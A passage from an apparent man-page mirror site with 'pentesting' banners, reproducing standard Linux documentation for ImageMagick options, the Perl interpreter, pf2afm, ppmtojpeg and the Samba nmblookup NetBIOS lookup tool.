LSB) of the image -family name render text with this font family -features distance analyze image features (e.g. contrast, correlation) -fill color color to use when filling a graphic primitive -filter type use this filter when resizing an image -flatten flatten a sequence of images -font name render text with this font -format type image format type -function name apply a function to the image -fuzz distance colors within this distance are considered equal -gravity type horizontal and vertical text placement -green-primary point chromaticity green primary point -intensity method method to generate intensity value from pixel -intent type type of rendering intent when managing the image color -interlace type type of image interlacing scheme -interline-spacing value set the space between two text lines -interpolate method pixel color interpolation method -interword-spacing value set the space between two words -kerning value set the space between two letters -label string assign a label to an image -limit type value pixel cache resource limit -loop iterations add Netscape loop extension to your GIF animation -mask filename associate a mask with the image -matte store matte channel if the image has one -mattecolor color frame color -metric type measure differences between images with this metric -monitor monitor progress -morphology method kernel apply a morphology method to the image -orient type image orientation -page geometry size and location of an image canvas (setting) -path path write images to this path on disk -ping efficiently determine image attributes -pointsize value font point size -precision value maximum number of significant digits to print -preview type image preview type -quality value JPEG/MIFF/PNG compression level -quiet suppress all warning messages -red-primary point chromaticity red primary point -regard-warnings pay attention to warning messages -remap filename transform image colors to match this set of colors -repage geometry size and location of an image canvas -respect-parentheses settings remain in effect until parenthesis boundary -sampling-factor geometry horizontal and vertical sampling factor -scene value image scene number -seed value seed a new sequence of pseudo-random numbers -size geometry width and height of image -stretch type render text with this font stretch -stroke color graphic primitive stroke color -strokewidth value graphic primitive stroke width -style type render text with this font style -synchronize synchronize image to storage device -taint declare the image as modified -texture filename name of texture to tile onto the image background -tile-offset geometry tile offset -treedepth value color tree depth -transparent-color color transparent color -undercolor color annotation bounding box color -units type the units of image resolution -verbose print detailed information about the image -view FlashPix viewing transforms -virtual-pixel method virtual pixel access method -weight type render text with this font weight -white-point point chromaticity white point

Image Operators: -adaptive-blur geometry adaptively blur pixels; decrease effect near edges -adaptive-resize geometry adaptively resize image with data dependent triangulation -adaptive-sharpen geometry adaptively sharpen pixels; increase effect near edges -alpha option on, activate, off, deactivate, set, opaque, copy transparent, extract, background, or shape -annotate geometry text annotate the image with text -auto-gamma automagically adjust gamma level of image -auto-level automagically adjust color levels of image -auto-orient automatically orient image -bench iterations measure performance -black-threshold value force all pixels below the threshold into black -blue-shift simulate a scene at nighttime in the moonlight -blur geometry reduce image noise and reduce detail levels -border geometry surround image with a border of color -bordercolor color border color -brightness-contrast geometry improve brightness / contrast of the image -cdl filename color correct with a color decision list -canny geometry detect edges in the image -charcoal radius simulate a charcoal drawing -chop geometry remove pixels from the image interior -clamp keep pixel values in range (0-QuantumRange) -clip clip along the first path from the 8BIM profile -clip-mask filename associate a clip mask with the image -clip-path id clip along a named path from the 8BIM profile -colorize value colorize the image with the fill color -color-matrix matrix apply color correction to the image -connected-component connectivity connected-components uniquely labeled -contrast enhance or reduce the image contrast -contrast-stretch geometry improve contrast by `stretching’ the intensity range -convolve coefficients apply a convolution kernel to the image -cycle amount cycle the image colormap -decipher filename convert cipher pixels to plain pixels -deskew threshold straighten an image -despeckle reduce the speckles within an image -distort method args distort images according to given method and args -draw string annotate the image with a graphic primitive -edge radius apply a filter to detect edges in the image -encipher filename convert plain pixels to cipher pixels -emboss radius emboss an image -enhance apply a digital filter to enhance a noisy image -equalize perform histogram equalization to an image -evaluate operator value evaluate an arithmetic, relational, or logical expression -extent geometry set the image size -extract geometry extract area from image -features distance analyze image features (e.g. contrast, correlation) -fft implements the discrete Fourier transform (DFT) -flip flip image vertically -floodfill geometry color floodfill the image with color -flop flop image horizontally -frame geometry surround image with an ornamental border -function name parameters apply function over image values -gamma value level of gamma correction -gaussian-blur geometry reduce image noise and reduce detail levels -geometry geometry preferred size or location of the image -grayscale method convert image to grayscale -ift implements the inverse discrete Fourier transform (DFT) -help print program options -hough-lines geometry identify lines in the image -identify identify the format and characteristics of the image -ift implements the inverse discrete Fourier transform (DFT) -implode amount implode image pixels about the center -lat geometry local adaptive thresholding -layers method optimize or compare image layers -level value adjust the level of image contrast -level-colors color,color level image with the given colors -linear-stretch geometry improve contrast by `stretching with saturation’ the intensity range -liquid-rescale geometry rescale image with seam-carving -magnify double the size of the image with pixel art scaling -mean-shift geometry delineate arbitrarily shaped clusters in the image -median geometry apply a median filter to the image -mode geometry make each pixel the ‘predominant color’ of the neighborhood -modulate value vary the brightness, saturation, and hue -monochrome transform image to black and white -morphology method kernel apply a morphology method to the image -motion-blur geometry simulate motion blur -negate replace each pixel with its complementary color -noise geometry add or reduce noise in an image -normalize transform image to span the full range of colors -opaque color change this color to the fill color -ordered-dither NxN add a noise pattern to the image with specific amplitudes -paint radius simulate an oil painting -perceptible epsilon pixel value less than |epsilon| become epsilon or -epsilon -polaroid angle simulate a Polaroid picture -posterize levels reduce the image to a limited number of color levels -print string interpret string and print to console -profile filename add, delete, or apply an image profile -quantize colorspace reduce colors in this colorspace -radial-blur angle radial blur the image -raise value lighten/darken image edges to create a 3-D effect -random-threshold low,high random threshold the image -region geometry apply options to a portion of the image -render render vector graphics -resample geometry change the resolution of an image -resize geometry resize the image -roll geometry roll an image vertically or horizontally -rotate degrees apply Paeth rotation to the image -sample geometry scale image with pixel sampling -scale geometry scale the image -segment values segment an image -selective-blur geometry selectively blur pixels within a contrast threshold -sepia-tone threshold simulate a sepia-toned photo -set property value set an image property -shade degrees shade the image using a distant light source -shadow geometry simulate an image shadow -sharpen geometry sharpen the image -shave geometry shave pixels from the image edges -shear geometry slide one edge of the image along the X or Y axis -sigmoidal-contrast geometry lightness rescaling using sigmoidal contrast enhancement -sketch geometry simulate a pencil sketch -solarize threshold negate all pixels above the threshold level -sparse-color method args fill in a image based on a few color points -splice geometry splice the background color into the image -spread amount displace image pixels by a random amount -statistic type geometry replace each pixel with corresponding statistic from the neighborhood -strip strip image of all profiles and comments -swirl degrees swirl image pixels about the center -threshold value threshold the image -thumbnail geometry create a thumbnail of the image -tile filename tile image when filling a graphic primitive -tint value tint the image with the fill color -transform affine transform image -transparent color make this color transparent within the image -transpose flip image vertically and rotate 90 degrees -transverse flop image horizontally and rotate 270 degrees -trim trim image edges -type type image type -unique-colors discard all but one of any pixel color -unsharp geometry sharpen the image -vignette geometry soften the edges of the image in vignette style -wave geometry alter an image along a sine wave -wavelet-denoise threshold removes noise from the image using a wavelet transform -white-threshold value force all pixels above the threshold into white

Image Sequence Operators: -affinity filename transform image colors to match this set of colors -append append an image sequence top to botto (use +append for left to right) -clut apply a color lookup table to the image -coalesce merge a sequence of images -combine combine a sequence of images -compare mathematically and visually annotate the difference between an image and its reconstruction -complex operator perform complex mathematics on an image sequence -composite composite image -copy geometry offset, copy pixels from one area of an image to another -crop geometry cut out a rectangular region of the image -deconstruct break down an image sequence into constituent parts -evaluate-sequence operator evaluate an arithmetic, relational, or logical expression -flatten flatten a sequence of images -fx expression apply mathematical expression to an image channel(s) -hald-clut apply a Hald color lookup table to the image -morph value morph an image sequence -mosaic create a mosaic from an image sequence -poly terms build a polynomial from the image sequence and the corresponding terms (coefficients and degree pairs) -process arguments process the image with a custom image filter -separate separate an image channel into a grayscale image -smush geometry smush an image sequence together -write filename write images to this file

Image Stack Operators: -delete indexes delete the image from the image sequence -duplicate count,indexes duplicate an image one or more times -insert index insert last image into the image sequence -reverse reverse image sequence -swap indexes swap two images in the image sequence

Miscellaneous Options: -debug events display copious debugging information -distribute-cache port distributed pixel cache spanning one or more servers -help print program options -log format format of debugging information -list type print a list of supported option arguments -version print version information

By default, the image format of `file’ is determined by its magic number. To specify a particular image format, precede the filename with an image format name and a colon (i.e. ps:image) or specify the image type as the filename suffix (i.e. image.ps). Specify ‘file’ as ‘-’ for standard input or output.

SEE ALSO

ImageMagick-im6.q16(1)

COPYRIGHT

Copyright (C) 1999-2021 ImageMagick Studio LLC. Additional copyrights and licenses apply to this software, see file:///usr/share/doc/imagemagick-6-common/html/www/license.html (on debian system you may install the imagemagick-6 package) or https://www.imagemagick.org/script/license.php

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

973 - Linux cli command perl5.38-x86_64-linux-gnu

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command perl5.38-x86_64-linux-gnu and provides detailed information about the command perl5.38-x86_64-linux-gnu, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the perl5.38-x86_64-linux-gnu.

NAME 🖥️ perl5.38-x86_64-linux-gnu 🖥️

The Perl 5 language interpreter

SYNOPSIS

perl [ -sTtuUWX ] [ -hv ] [ -V[:configvar] ] [ -cw ] [ -d[t][:debugger] ] [ -D[number/list] ] [ -pna ] [ -Fpattern ] [ -l[octal] ] [ -0[octal/hexadecimal] ] [ -Idir ] [ -m[-]module ] [ -M[-]‘module…’ ] [ -f ] [ -C [number/list] ] [ -S ] [ -x[dir] ] [ -i[extension] ] [ [-e|-E] ‘command’ ] [ ] [ programfile ] [ argument ]…

For more information on these options, you can run perldoc perlrun.

GETTING HELP

The perldoc program gives you access to all the documentation that comes with Perl. You can get more documentation, tutorials and community support online at <https://www.perl.org/>.

If you’re new to Perl, you should start by running perldoc perlintro, which is a general intro for beginners and provides some background to help you navigate the rest of Perl’s extensive documentation. Run perldoc perldoc to learn more things you can do with perldoc.

For ease of access, the Perl manual has been split up into several sections.

Overview

perl Perl overview (this section) perlintro Perl introduction for beginners perlrun Perl execution and options perltoc Perl documentation table of contents

Tutorials

perlreftut Perl references short introduction perldsc Perl data structures intro perllol Perl data structures: arrays of arrays perlrequick Perl regular expressions quick start perlretut Perl regular expressions tutorial perlootut Perl OO tutorial for beginners perlperf Perl Performance and Optimization Techniques perlstyle Perl style guide perlcheat Perl cheat sheet perltrap Perl traps for the unwary perldebtut Perl debugging tutorial perlfaq Perl frequently asked questions perlfaq1 General Questions About Perl perlfaq2 Obtaining and Learning about Perl perlfaq3 Programming Tools perlfaq4 Data Manipulation perlfaq5 Files and Formats perlfaq6 Regexes perlfaq7 Perl Language Issues perlfaq8 System Interaction perlfaq9 Networking

Reference Manual

perlsyn Perl syntax perldata Perl data structures perlop Perl operators and precedence perlsub Perl subroutines perlfunc Perl built-in functions perlopentut Perl open() tutorial perlpacktut Perl pack() and unpack() tutorial perlpod Perl plain old documentation perlpodspec Perl plain old documentation format specification perldocstyle Perl style guide for core docs perlpodstyle Perl POD style guide perldiag Perl diagnostic messages perldeprecation Perl deprecations perllexwarn Perl warnings and their control perldebug Perl debugging perlvar Perl predefined variables perlre Perl regular expressions, the rest of the story perlrebackslash Perl regular expression backslash sequences perlrecharclass Perl regular expression character classes perlreref Perl regular expressions quick reference perlref Perl references, the rest of the story perlform Perl formats perlobj Perl objects perltie Perl objects hidden behind simple variables perlclass Perl class syntax perldbmfilter Perl DBM filters perlipc Perl interprocess communication perlfork Perl fork() information perlnumber Perl number semantics perlthrtut Perl threads tutorial perlport Perl portability guide perllocale Perl locale support perluniintro Perl Unicode introduction perlunicode Perl Unicode support perlunicook Perl Unicode cookbook perlunifaq Perl Unicode FAQ perluniprops Index of Unicode properties in Perl perlunitut Perl Unicode tutorial perlebcdic Considerations for running Perl on EBCDIC platforms perlsec Perl security perlsecpolicy Perl security report handling policy perlmod Perl modules: how they work perlmodlib Perl modules: how to write and use perlmodstyle Perl modules: how to write modules with style perlmodinstall Perl modules: how to install from CPAN perlnewmod Perl modules: preparing a new module for distribution perlpragma Perl modules: writing a user pragma perlutil utilities packaged with the Perl distribution perlfilter Perl source filters perldtrace Perls support for DTrace perlglossary Perl Glossary

Internals and C Language Interface

perlembed Perl ways to embed perl in your C or C++ application perldebguts Perl debugging guts and tips perlxstut Perl XS tutorial perlxs Perl XS application programming interface perlxstypemap Perl XS C/Perl type conversion tools perlclib Internal replacements for standard C library functions perlguts Perl internal functions for those doing extensions perlcall Perl calling conventions from C perlmroapi Perl method resolution plugin interface perlreapi Perl regular expression plugin interface perlreguts Perl regular expression engine internals perlclassguts Internals of class syntax perlapi Perl API listing (autogenerated) perlintern Perl internal functions (autogenerated) perliol C API for Perls implementation of IO in Layers perlapio Perl internal IO abstraction interface perlhack Perl hackers guide perlsource Guide to the Perl source tree perlinterp Overview of the Perl interpreter source and how it works perlhacktut Walk through the creation of a simple C code patch perlhacktips Tips for Perl core C code hacking perlpolicy Perl development policies perlgov Perl Rules of Governance perlgit Using git with the Perl repository

History

perlhist Perl history records perldelta Perl changes since previous version perl5381delta Perl changes in version 5.38.1 perl5380delta Perl changes in version 5.38.0 perl5363delta Perl changes in version 5.36.3 perl5362delta Perl changes in version 5.36.2 perl5361delta Perl changes in version 5.36.1 perl5360delta Perl changes in version 5.36.0 perl5343delta Perl changes in version 5.34.3 perl5342delta Perl changes in version 5.34.2 perl5341delta Perl changes in version 5.34.1 perl5340delta Perl changes in version 5.34.0 perl5321delta Perl changes in version 5.32.1 perl5320delta Perl changes in version 5.32.0 perl5303delta Perl changes in version 5.30.3 perl5302delta Perl changes in version 5.30.2 perl5301delta Perl changes in version 5.30.1 perl5300delta Perl changes in version 5.30.0 perl5283delta Perl changes in version 5.28.3 perl5282delta Perl changes in version 5.28.2 perl5281delta Perl changes in version 5.28.1 perl5280delta Perl changes in version 5.28.0 perl5263delta Perl changes in version 5.26.3 perl5262delta Perl changes in version 5.26.2 perl5261delta Perl changes in version 5.26.1 perl5260delta Perl changes in version 5.26.0 perl5244delta Perl changes in version 5.24.4 perl5243delta Perl changes in version 5.24.3 perl5242delta Perl changes in version 5.24.2 perl5241delta Perl changes in version 5.24.1 perl5240delta Perl changes in version 5.24.0 perl5224delta Perl changes in version 5.22.4 perl5223delta Perl changes in version 5.22.3 perl5222delta Perl changes in version 5.22.2 perl5221delta Perl changes in version 5.22.1 perl5220delta Perl changes in version 5.22.0 perl5203delta Perl changes in version 5.20.3 perl5202delta Perl changes in version 5.20.2 perl5201delta Perl changes in version 5.20.1 perl5200delta Perl changes in version 5.20.0 perl5184delta Perl changes in version 5.18.4 perl5182delta Perl changes in version 5.18.2 perl5181delta Perl changes in version 5.18.1 perl5180delta Perl changes in version 5.18.0 perl5163delta Perl changes in version 5.16.3 perl5162delta Perl changes in version 5.16.2 perl5161delta Perl changes in version 5.16.1 perl5160delta Perl changes in version 5.16.0 perl5144delta Perl changes in version 5.14.4 perl5143delta Perl changes in version 5.14.3 perl5142delta Perl changes in version 5.14.2 perl5141delta Perl changes in version 5.14.1 perl5140delta Perl changes in version 5.14.0 perl5125delta Perl changes in version 5.12.5 perl5124delta Perl changes in version 5.12.4 perl5123delta Perl changes in version 5.12.3 perl5122delta Perl changes in version 5.12.2 perl5121delta Perl changes in version 5.12.1 perl5120delta Perl changes in version 5.12.0 perl5101delta Perl changes in version 5.10.1 perl5100delta Perl changes in version 5.10.0 perl589delta Perl changes in version 5.8.9 perl588delta Perl changes in version 5.8.8 perl587delta Perl changes in version 5.8.7 perl586delta Perl changes in version 5.8.6 perl585delta Perl changes in version 5.8.5 perl584delta Perl changes in version 5.8.4 perl583delta Perl changes in version 5.8.3 perl582delta Perl changes in version 5.8.2 perl581delta Perl changes in version 5.8.1 perl58delta Perl changes in version 5.8.0 perl561delta Perl changes in version 5.6.1 perl56delta Perl changes in version 5.6 perl5005delta Perl changes in version 5.005 perl5004delta Perl changes in version 5.004

Miscellaneous

perlbook Perl book information perlcommunity Perl community information perldoc Look up Perl documentation in Pod format perlexperiment A listing of experimental features in Perl perlartistic Perl Artistic License perlgpl GNU General Public License

Language-Specific

perlcn Perl for Simplified Chinese (in UTF-8) perljp Perl for Japanese (in EUC-JP) perlko Perl for Korean (in EUC-KR) perltw Perl for Traditional Chinese (in Big5)

Platform-Specific

perlaix Perl notes for AIX perlamiga Perl notes for AmigaOS perlandroid Perl notes for Android perlbs2000 Perl notes for POSIX-BC BS2000 perlcygwin Perl notes for Cygwin perlfreebsd Perl notes for FreeBSD perlhaiku Perl notes for Haiku perlhpux Perl notes for HP-UX perlhurd Perl notes for Hurd perlirix Perl notes for Irix perllinux Perl notes for Linux perlmacosx Perl notes for Mac OS X perlopenbsd Perl notes for OpenBSD perlos2 Perl notes for OS/2 perlos390 Perl notes for OS/390 perlos400 Perl notes for OS/400 perlplan9 Perl notes for Plan 9 perlqnx Perl notes for QNX perlriscos Perl notes for RISC OS perlsolaris Perl notes for Solaris perlsynology Perl notes for Synology perltru64 Perl notes for Tru64 perlvms Perl notes for VMS perlvos Perl notes for Stratus VOS perlwin32 Perl notes for Windows

Stubs for Deleted Documents

perlboot perlbot perlrepository perltodo perltooc perltoot

On Debian systems, you need to install the perl-doc package which contains the majority of the standard Perl documentation and the perldoc program.

Extensive additional documentation for Perl modules is available, both those distributed with Perl and third-party modules which are packaged or locally installed.

You should be able to view Perl’s documentation with your man (1) program or perldoc (1).

Some documentation is not available as man pages, so if a cross-reference is not found by man, try it with perldoc. Perldoc can also take you directly to documentation for functions (with the -f switch). See perldoc --help (or perldoc perldoc or man perldoc) for other helpful options perldoc has to offer.

In general, if something strange has gone wrong with your program and you’re not sure where you should look for help, try making your code comply with use strict and use warnings. These will often point out exactly where the trouble is.

DESCRIPTION

Perl officially stands for Practical Extraction and Report Language, except when it doesn’t.

Perl was originally a language optimized for scanning arbitrary text files, extracting information from those text files, and printing reports based on that information. It quickly became a good language for many system management tasks. Over the years, Perl has grown into a general-purpose programming language. It’s widely used for everything from quick “one-liners” to full-scale application development.

The language is intended to be practical (easy to use, efficient, complete) rather than beautiful (tiny, elegant, minimal). It combines (in the author’s opinion, anyway) some of the best features of sed, awk, and sh, making it familiar and easy to use for Unix users to whip up quick solutions to annoying problems. Its general-purpose programming facilities support procedural, functional, and object-oriented programming paradigms, making Perl a comfortable language for the long haul on major projects, whatever your bent.

Perl’s roots in text processing haven’t been forgotten over the years. It still boasts some of the most powerful regular expressions to be found anywhere, and its support for Unicode text is world-class. It handles all kinds of structured text, too, through an extensive collection of extensions. Those libraries, collected in the CPAN, provide ready-made solutions to an astounding array of problems. When they haven’t set the standard themselves, they steal from the best – just like Perl itself.

AVAILABILITY

Perl is available for most operating systems, including virtually all Unix-like platforms. See “Supported Platforms” in perlport for a listing.

ENVIRONMENT

See “ENVIRONMENT” in perlrun.

AUTHOR

Larry Wall <[email protected]>, with the help of oodles of other folks.

If your Perl success stories and testimonials may be of help to others who wish to advocate the use of Perl in their applications, or if you wish to simply express your gratitude to Larry and the Perl developers, please write to [email protected] .

FILES

“@INC” locations of perl libraries

“@INC” above is a reference to the built-in variable of the same name; see perlvar for more information.

SEE ALSO

https://www.perl.org/ the Perl homepage https://www.perl.com/ Perl articles https://www.cpan.org/ the Comprehensive Perl Archive https://www.pm.org/ the Perl Mongers

DIAGNOSTICS

Using the use strict pragma ensures that all variables are properly declared and prevents other misuses of legacy Perl features. These are enabled by default within the scope of use v5.12 (or higher).

The use warnings pragma produces some lovely diagnostics. It is enabled by default when you say use v5.35 (or higher). One can also use the -w flag, but its use is normally discouraged, because it gets applied to all executed Perl code, including that not under your control.

See perldiag for explanations of all Perl’s diagnostics. The use diagnostics pragma automatically turns Perl’s normally terse warnings and errors into these longer forms.

Compilation errors will tell you the line number of the error, with an indication of the next token or token type that was to be examined. (In a script passed to Perl via -e switches, each -e is counted as one line.)

Setuid scripts have additional constraints that can produce error messages such as “Insecure dependency”. See perlsec.

Did we mention that you should definitely consider using the use warnings pragma?

BUGS

The behavior implied by the use warnings pragma is not mandatory.

Perl is at the mercy of your machine’s definitions of various operations such as type casting, atof(), and floating-point output with sprintf().

If your stdio requires a seek or eof between reads and writes on a particular stream, so does Perl. (This doesn’t apply to sysread() and syswrite().)

While none of the built-in data types have any arbitrary size limits (apart from memory size), there are still a few arbitrary limits: a given variable name may not be longer than 251 characters. Line numbers displayed by diagnostics are internally stored as short integers, so they are limited to a maximum of 65535 (higher numbers usually being affected by wraparound).

You may submit your bug reports (be sure to include full configuration information as output by the myconfig program in the perl source tree, or by perl -V) to <https://github.com/Perl/perl5/issues>.

Perl actually stands for Pathologically Eclectic Rubbish Lister, but don’t tell anyone I said that.

NOTES

The Perl motto is “There’s more than one way to do it.” Divining how many more is left as an exercise to the reader.

The three principal virtues of a programmer are Laziness, Impatience, and Hubris. See the Camel Book for why.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

974 - Linux cli command pf2afm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pf2afm and provides detailed information about the command pf2afm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pf2afm.

NAME 🖥️ pf2afm 🖥️

Make an AFM file from Postscript (PFB/PFA/PFM) font files using ghostscript

SYNOPSIS

pf2afm fontfilename

DESCRIPTION

This script invokes gs(1) to make an AFM file from PFB / PFA and (optionally) PFM files. Output goes to fontfilename.afm, which must not already exist.

SEE ALSO

gs(1)
pf2afm.ps in the Ghostscript lib directory.

VERSION

This document was last revised for Ghostscript version 10.03.1.

AUTHOR

Artifex Software, Inc. are the primary maintainers of Ghostscript. This manpage by George Ferguson.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

975 - Linux cli command ppmtojpeg

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmtojpeg and provides detailed information about the command ppmtojpeg, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmtojpeg.

.

NAME 🖥️ ppmtojpeg 🖥️

replaced by pnmtojpeg

DESCRIPTION

This program is part of Netpbm(1) .

ppmtojpeg was replaced in Netpbm 9.19 (September 2001) by pnmtojpeg(1) .

pnmtojpeg is backward compatible with ppmtojpeg except that with PGM or PBM input, it generates JPEG output in the special grayscale format.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmtojpeg.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

976 - Linux cli command nmblookup

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command nmblookup and provides detailed information about the command nmblookup, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the nmblookup.

NAME 🖥️ nmblookup 🖥️

NetBIOS over TCP/IP client used to lookup NetBIOS names

SYNOPSIS

nmblookup [-M|–master-browser] [–recursion] [-S|–status] [-r|–root-port] [-A|–lookup-by-ip] [-B|–broadcast=BROADCAST-ADDRESS] [-U|–unicast=UNICAST-ADDRESS] [-T|–translate] [-f|–flags] [-?|–help] [–usage] [-d|–debuglevel=DEBUGLEVEL] [–debug-stdout] [–configfile=CONFIGFILE] [–option=name=value] [-l|–log-basename=LOGFILEBASE] [–leak-report] [–leak-report-full] [-R|–name-resolve=NAME-RESOLVE-ORDER] [-O|–socket-options=SOCKETOPTIONS] [-m|–max-protocol=MAXPROTOCOL] [-n|–netbiosname=NETBIOSNAME] [–netbios-scope=SCOPE] [-W|–workgroup=WORKGROUP] [–realm=REALM] {name}

DESCRIPTION

This tool is part of the samba(7) suite.

nmblookup is used to query NetBIOS names and map them to IP addresses in a network using NetBIOS over TCP/IP queries. The options allow the name queries to be directed at a particular IP broadcast area or to a particular machine. All queries are done over UDP.

OPTIONS

-M|–master-browser

Searches for a master browser by looking up the NetBIOS name with a type of 0x1d. If name is “-” then it does a lookup on the special name __MSBROWSE__. Please note that in order to use the name “-”, you need to make sure “-” isnt parsed as an argument, e.g. use : nmblookup -M – -.

–recursion

Set the recursion desired bit in the packet to do a recursive lookup. This is used when sending a name query to a machine running a WINS server and the user wishes to query the names in the WINS server. If this bit is unset the normal (broadcast responding) NetBIOS processing code on a machine is used instead. See RFC1001, RFC1002 for details.

-S|–status

Once the name query has returned an IP address then do a node status query as well. A node status query returns the NetBIOS names registered by a host.

-r|–root-port

Try and bind to UDP port 137 to send and receive UDP datagrams. The reason for this option is a bug in Windows 95 where it ignores the source port of the requesting packet and only replies to UDP port 137. Unfortunately, on most UNIX systems root privilege is needed to bind to this port, and in addition, if the nmbd(8) daemon is running on this machine it also binds to this port.

-A|–lookup-by-ip

Interpret name as an IP Address and do a node status query on this address.

-B|–broadcast <broadcast address>

Send the query to the given broadcast address. Without this option the default behavior of nmblookup is to send the query to the broadcast address of the network interfaces as either auto-detected or defined in the interfaces parameter of the smb.conf(5) file.

-U|–unicast <unicast address>

Do a unicast query to the specified address or host unicast address. This option (along with the -R option) is needed to query a WINS server.

-T|–translate

This causes any IP addresses found in the lookup to be looked up via a reverse DNS lookup into a DNS name, and printed out before each

IP address …. NetBIOS name

pair that is the normal output.

-f|–flags

Show which flags apply to the name that has been looked up. Possible answers are zero or more of: Response, Authoritative, Truncated, Recursion_Desired, Recursion_Available, Broadcast.

name

This is the NetBIOS name being queried. Depending upon the previous options this may be a NetBIOS name or IP address. If a NetBIOS name then the different name types may be specified by appending #<type> to the name. This name may also be *, which will return all registered names within a broadcast area.

-d|–debuglevel=DEBUGLEVEL

level is an integer from 0 to 10. The default value if this parameter is not specified is 1 for client applications.

The higher this value, the more detail will be logged to the log files about the activities of the server. At level 0, only critical errors and serious warnings will be logged. Level 1 is a reasonable level for day-to-day running - it generates a small amount of information about operations carried out.

Levels above 1 will generate considerable amounts of log data, and should only be used when investigating a problem. Levels above 3 are designed for use only by developers and generate HUGE amounts of log data, most of which is extremely cryptic.

Note that specifying this parameter here will override the log level parameter in the /etc/samba/smb.conf file.

–debug-stdout

This will redirect debug output to STDOUT. By default all clients are logging to STDERR.

–configfile=<configuration file>

The file specified contains the configuration details required by the client. The information in this file can be general for client and server or only provide client specific like options such as client smb encrypt. See /etc/samba/smb.conf for more information. The default configuration file name is determined at compile time.

–option=<name>=<value>

Set the smb.conf(5) option “<name>” to value “<value>” from the command line. This overrides compiled-in defaults and options read from the configuration file. If a name or a value includes a space, wrap whole –option=name=value into quotes.

-l|–log-basename=logdirectory

